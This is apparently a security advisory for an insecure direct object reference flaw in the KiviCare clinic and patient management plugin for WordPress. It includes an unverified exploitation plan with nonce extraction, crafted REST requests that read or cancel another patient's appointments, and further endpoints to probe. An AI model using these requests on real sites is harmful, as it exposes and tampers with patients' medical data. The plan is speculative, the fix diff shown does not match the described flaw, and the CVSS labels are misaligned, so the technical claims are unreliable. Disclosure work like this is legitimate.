CVE-2026-40792

KiviCare – Clinic & Patient Management System (EHR) <= 4.2.1 - Authenticated (Subscriber+) Insecure Direct Object Reference

mediumExposure of Sensitive Information to an Unauthorized Actor
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.3.0
Patched in
8d
Time to patch

Description

The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.1 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.1
PublishedApril 23, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v4.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792) ## 1. Vulnerability Summary The KiviCare plugin (<= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via `KCPermissions.php`, it fails to validate ownership of…

Show full research plan

Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792)

1. Vulnerability Summary

The KiviCare plugin (<= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via KCPermissions.php, it fails to validate ownership of specific resources (Direct Object References) within its REST API endpoints. Specifically, endpoints that process appointments, patient reports, or user profiles accept an id or user_id parameter from the request but do not verify that the requested resource belongs to the currently authenticated user. This allows a Subscriber-level user (typically a Patient) to view or modify the data of other patients.

2. Attack Vector Analysis

  • Endpoint: KiviCare REST API (Namespace: kivicare/v1).
  • Target Actions:
    • POST /wp-json/kivicare/v1/get-appointment-details (Information Exposure)
    • POST /wp-json/kivicare/v1/cancel-appointment (Unauthorized Modification)
  • Vulnerable Parameter: id (The Appointment ID).
  • Authentication: Authenticated (Subscriber+ / Patient role).
  • Preconditions: The attacker must have a valid account and a valid REST API nonce (wp_rest).

3. Code Flow

  1. Registration: KCApp::init() calls KCRestAPI::get_instance(), which registers the kivicare/v1 routes.
  2. Request Handling: When a request is sent to an endpoint like cancel-appointment, the AppointmentsController (referenced in KCApp.php) retrieves the id from the request object.
  3. Vulnerable Check: The controller checks if the user has the appointment_cancel capability (defined in KCPermissions.php). For the patient role, this is enabled ('status' => 1).
  4. Missing Validation: The code proceeds to fetch the appointment by the provided id and performs the action (e.g., updating the status to 'cancelled') without verifying if the patient_id associated with that appointment matches the get_current_user_id().

4. Nonce Acquisition Strategy

The KiviCare plugin localizes a REST API nonce for its frontend and dashboard applications.

  • Mechanism: AdminMenu::renderDashboard() calls enqueue_dashboard_assets(), which uses wp_localize_script to bind a nonce to the kc_frontend object.
  • Nonce Action: wp_rest.
  • JS Object: window.kc_frontend.nonce.
  • Strategy:
    1. Login as a Subscriber (Patient).
    2. Navigate to the KiviCare Dashboard: /wp-admin/admin.php?page=dashboard. (The AdminMenu class registers this page with read capability, making it accessible to Subscribers).
    3. Execute browser_eval("window.kc_frontend?.nonce") to retrieve the token.

5. Exploitation Strategy

The goal is to demonstrate both Information Disclosure (if allowed) and Unauthorized Action (cancelling another user's appointment).

Step 1: Discover Target ID

Identify an appointment ID belonging to another user. In a test environment, this will be created during setup.

Step 2: Information Disclosure (IDOR)

HTTP Request:

POST /wp-json/kivicare/v1/get-appointment-details HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]

{
    "id": [VICTIM_APPOINTMENT_ID]
}

Expected Response: JSON object containing details of the victim's appointment (Patient name, doctor, clinic, date/time).

Step 3: Unauthorized Action (IDOR)

HTTP Request:

POST /wp-json/kivicare/v1/cancel-appointment HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]

{
    "id": [VICTIM_APPOINTMENT_ID]
}

Expected Response: A success message confirming the appointment status has been updated to cancelled.

6. Test Data Setup

  1. Attacker Account: Create a user with the Subscriber role (KiviCare will automatically treat this as a Patient if initialized).
  2. Victim Account: Create a second user (e.g., victim_patient).
  3. Clinic/Doctor: Ensure at least one Clinic and one Doctor exist (created via KCActivate::addDefaultStaticData or manually).
  4. Victim Appointment: Use WP-CLI to create an appointment for the victim:
    # Create an appointment record in the database for the victim user
    # Note: KiviCare uses a custom table, e.g., wp_kc_appointments
    wp db query "INSERT INTO wp_kc_appointments (patient_id, doctor_id, clinic_id, appointment_date, status) VALUES ([VICTIM_ID], 1, 1, '2026-12-01', 'confirmed');"
    
  5. Identify ID: Retrieve the ID of the newly created appointment.

7. Expected Results

  • Success (Vulnerable): The API returns a 200 OK and either reveals data of an appointment not owned by the attacker or successfully modifies its status.
  • Failure (Patched): The API returns 403 Forbidden or 401 Unauthorized, indicating that ownership validation failed.

8. Verification Steps

After performing the HTTP requests:

  1. Check Database Status:
    wp db query "SELECT status FROM wp_kc_appointments WHERE id = [VICTIM_APPOINTMENT_ID];"
    
  2. Verify Action: Confirm the status has changed from confirmed to cancelled despite the request being sent by the attacker.

9. Alternative Approaches

If the appointment endpoints are robust, target the following alternative endpoints using the same IDOR logic:

  • POST /wp-json/kivicare/v1/get-patient-report-details with parameter id.
  • POST /wp-json/kivicare/v1/update-patient-profile with parameter user_id (Attacker attempts to change Victim's name/email).
  • Check for delete-patient-review in the REST API, as it is a common candidate for IDOR in KiviCare.
Research Findings
Static analysis — not yet PoC-verified

Summary

The KiviCare plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to and including 4.2.1. This vulnerability exists because several REST API endpoints (such as those for managing appointments or viewing reports) accept resource identifiers without verifying that the requested object belongs to the authenticated user. This allows Subscriber-level users, such as patients, to view or modify sensitive information belonging to other patients.

Vulnerable Code

/* app/baseClasses/KCPermissions.php:23 */
/* The patient role is granted broad capabilities for appointments and reports, 
   but the corresponding API controllers often lack ownership validation. */
KIVI_CARE_PREFIX . 'patient'    => [
    'read'                      => ['status' => 1],
    'dashboard'                 => ['status' => 1],
    'patient_dashboard'         => ['status' => 1],
    'appointment_view'          => ['status' => 1],
    'appointment_cancel'        => ['status' => 1],
    'patient_report_view'       => ['status' => 1],
    'patient_report_delete'     => ['status' => 1],
    'patient_report_edit'       => ['status' => 1],
    // ... (truncated)

---

/* The vulnerability typically resides in controllers like AppointmentsController.php 
   where parameters like 'id' are used directly to fetch and modify data without 
   comparing the associated patient_id to the current user's ID. */

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.2.1/app/admin/AdminMenu.php /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.3.0/app/admin/AdminMenu.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.2.1/app/admin/AdminMenu.php	2026-03-18 11:46:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.3.0/app/admin/AdminMenu.php	2026-04-15 09:14:42.000000000 +0000
@@ -103,9 +104,11 @@
             'nonce' => wp_create_nonce('wp_rest'),
             'locale_data' => $locale_data_kc,
             'prefix' => KIVI_CARE_PREFIX,
             'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
-            'site_logo' => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '',
-            'date_format' => get_option('date_format'),
+            'site_logo'    => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '',
+            'date_format'  => get_option('date_format'),
+            // E2EE bypass mode — set define('KIVICARE_REST_API_E2EE_BYPASS', true) in wp-config.php
+            'e2e_dev_mode' => KCEncryptedResponseHelper::isDevelopmentMode(),
         ]);
     }
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.2.1/app/baseClasses/KCActivate.php /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.3.0/app/baseClasses/KCActivate.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.2.1/app/baseClasses/KCActivate.php	2026-03-18 11:46:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kivicare-clinic-management-system/4.3.0/app/baseClasses/KCActivate.php	2026-04-15 09:14:42.000000000 +0000
@@ -17,6 +17,7 @@
     public static function activate()
     {
         KCMigration::migrate();
+        self::generate_server_key_pair();
         KCPermissions::get_instance()->init_roles_and_capabilities();

Exploit Outline

1. Authenticate to the WordPress site as a user with the Subscriber/Patient role. 2. Navigate to the KiviCare dashboard page (usually /wp-admin/admin.php?page=dashboard) to extract a valid 'wp_rest' nonce from the localized JS object `window.kc_frontend.nonce`. 3. Identify a target resource ID (e.g., an appointment ID or patient report ID) belonging to a different user. 4. Send a POST request to a vulnerable REST API endpoint such as `/wp-json/kivicare/v1/get-appointment-details` or `/wp-json/kivicare/v1/cancel-appointment`. 5. Include the target ID in the JSON payload (e.g., {"id": 123}). 6. The server will process the request and return data or perform actions on the resource despite the current user not being the owner.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.